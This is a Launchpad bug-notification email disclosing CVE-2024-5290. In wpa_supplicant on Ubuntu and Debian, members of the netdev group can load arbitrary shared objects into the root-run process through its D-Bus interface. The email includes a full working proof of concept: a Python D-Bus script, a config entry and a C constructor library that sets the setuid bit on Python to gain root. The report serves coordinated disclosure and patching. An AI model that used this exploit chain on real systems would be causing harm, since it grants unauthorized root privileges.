@lucistanescu Thanks! Our blog post has been slightly delayed so please don't wait on it, I'll update when it's been published and it can be linked if appropriate.
-- You received this bug notification because you are a member of Desktop Packages, which is subscribed to wpa in Ubuntu. https://bugs.launchpad.net/bugs/2067613 Title: CVE-2024-5290 : Fix loading of arbitrary shared objects Status in wpa package in Ubuntu: Fix Released Status in wpa package in Debian: Fix Released Bug description: Hello team We received a vulnerability report a while back - that lets users load arbitrary shared object files in the context of the wpa_supplicant process running as root in affected Ubuntu systems. TLDR : Upstream released a fix : https://w1.fi/cgit/hostap/commit/?id=c84388ee4c66bcd310db57489eac4a75fc600747 that includes a compile time config for allow-listing a set of shared objects. Details here : `wpa_supplicant` is a binary package of source `wpa` ```sh $ umt search wpa Running search command. Ubuntu packages: Release Version Pocket Component trusty 2.1-0ubuntu1.7 security main trusty/esm 2.1-0ubuntu1.7+esm4 security main xenial 2.4-0ubuntu6.8 security main bionic 2:2.6-15ubuntu2.8 security main focal 2:2.9-1ubuntu4.3 security main jammy 2:2.10-6ubuntu2 updates main lunar 2:2.10-12 release main mantic 2:2.10-15 release main noble 2:2.10-21build4 release main Other packages: Release Version Pocket Component bookworm 2:2.10-12 release main bullseye 2:2.9.0-21 release main buster 2:2.7+git20190128+0c1e29f-6+deb10u4 updates main testing 2:2.10-21.1 release main unstable 2:2.10-21.1 release main ``` Upstream - https://w1.fi/cgit upstream examples point to config that lets all users in group `wheel` access the frontend. debian and ubuntu use group membership to control access to D-Bus So in `debian/patches/02_dbus_group_policy.patch` ``` diff --git a/wpa_supplicant/dbus/dbus-wpa_supplicant.conf b/wpa_supplicant/dbus/dbus-wpa_supplicant.conf index e81b495..413c049 100644 --- a/wpa_supplicant/dbus/dbus-wpa_supplicant.conf +++ b/wpa_supplicant/dbus/dbus-wpa_supplicant.conf @@ -9,6 +9,11 @@ <allow send_interface="fi.w1.wpa_supplicant1"/> <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/> </policy> + <policy group="netdev"> + <allow send_destination="fi.w1.wpa_supplicant1"/> + <allow send_interface="fi.w1.wpa_supplicant1"/> + <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/> + </policy> <policy context="default"> <deny own="fi.w1.wpa_supplicant1"/> <deny send_destination="fi.w1.wpa_supplicant1"/> ``` to allow `netdev` users access to the wpa_supplicant which gets started as a service ``` diff --git a/wpa_supplicant/systemd/wpa_supplicant.service.in b/wpa_supplicant/systemd/wpa_supplicant.service.in index 18cbc11..f02bc15 100644 --- a/wpa_supplicant/systemd/wpa_supplicant.service.in +++ b/wpa_supplicant/systemd/wpa_supplicant.service.in @@ -8,8 +8,11 @@ IgnoreOnIsolate=true [Service] Type=dbus BusName=fi.w1.wpa_supplicant1 -ExecStart=@BINDIR@/wpa_supplicant -u -s -O /run/wpa_supplicant +ExecStart=@BINDIR@/wpa_supplicant -u -s -O "DIR=/run/wpa_supplicant GROUP=netdev" ExecReload=/bin/kill -HUP $MAINPID +Group=netdev +RuntimeDirectory=wpa_supplicant +RuntimeDirectoryMode=0750 [Install] WantedBy=multi-user.target ``` If a user is able to escalate to `netdev` - they will be able to interact with the dbus interface. One of the interface `fi.w1.wpa_supplicant1` lets the user create a network interface via `CreateInterface` - See [`wpas_dbus_handler_create_interface`](http://w1.fi/wpa_supplicant/devel/dbus__new__handlers_8h.html#a4c504285e9504dc5508f35646278f867) `ConfigFile` has configurations for a network interface * for loading an opensc engine with `opensc_engine_path`which is a path to a shared object. See [`opensc_engine_path`](https://w1.fi/wpa_supplicant/devel/structwpa__config.html#a791fade4701a30852dbb2b25866ba359) * for loading a PKCS#11 engine with `pkcs11_engine_path` which is a path to a shared object. See [`pkcs11_engine_path`](https://w1.fi/wpa_supplicant/devel/structwpa__config.html#adf38e52ccfe1b621ef5a18b78b1c3a9e) Both these paths don't check for paths - any arbitrary location - leading to arbitrary code execution. Overall any user within the group `netdev` would be able to load arbitrary shared objects - in the context of a process running as root - granting privilege escalation to `root` The process that loads these objects is launched with `/usr/sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev ` the trace looks like ``` openat(AT_FDCWD, "/tmp/stage/loadable.so", O_RDONLY|O_CLOEXEC) = 8 read(8, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832 fstat(8, {st_mode=S_IFREG|0755, st_size=15544, ...}) = 0 mmap(NULL, 16408, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 8, 0) = 0x7b77cdcde000 mmap(0x7b77cdcdf000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 8, 0x1000) = 0x7b77cdcdf000 mmap(0x7b77cdce0000, 4096, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 8, 0x2000) = 0x7b77cdce0000 mmap(0x7b77cdce1000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 8, 0x2000) = 0x7b77cdce1000 close(8) = 0 mprotect(0x7b77cdce1000, 4096, PROT_READ) = 0 ``` Example from my 23.11 test machine ``` $ \cat wpa.py import dbus open("/tmp/done", "w").write("done") system_bus = dbus.SystemBus() wpasupplicant = system_bus.get_object("fi.w1.wpa_supplicant1", "/fi/w1/wpa_supplicant1") wpasupplicant.CreateInterface(dbus.types.Dictionary({ "Ifname": "lo", "ConfigFile": "/tmp/stage/wpa_conf", "Driver": "wired" }, signature="sv"), dbus_interface="fi.w1.wpa_supplicant1") $ cat >> /tmp/stage/wpa_conf <<EOF opensc_engine_path=/tmp/stage/loadable.so EOF $ ll /usr/bin/python3.11 Permissions Size User Date Modified Name .rwxr-xr-x 6.8M root 8 Oct 2023 /usr/bin/python3.11 $ \cat loadable.c #include <sys/stat.h> void __attribute__((constructor)) so_main() { chmod("/usr/bin/python3.11", 04755); } $ gcc -fPIC -shared -o loadable.so loadable.c $ cp loadable.so /tmp/stage $ chmod -R 777 /tmp/stage # sg netdev -c 'python3 wpa.py' Traceback (most recent call last): File "/home/sudhackar/Desktop/psirt/rory/wpa.py", line 6, in <module> wpasupplicant.CreateInterface(dbus.types.Dictionary({ File "/usr/lib/python3/dist-packages/dbus/proxies.py", line 72, in __call__ return self._proxy_method(*args, **keywords) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/lib/python3/dist-packages/dbus/proxies.py", line 141, in __call__ return self._connection.call_blocking(self._named_service, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/lib/python3/dist-packages/dbus/connection.py", line 634, in call_blocking reply_message = self.send_message_with_reply_and_block( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ dbus.exceptions.DBusException: fi.w1.wpa_supplicant1.UnknownError: wpa_supplicant couldn't grab this interface. $ ll /usr/bin/python3.11 Permissions Size User Date Modified Name .rwsr-xr-x 6.8M root 8 Oct 2023 /usr/bin/python3.11 ``` To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/wpa/+bug/2067613/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp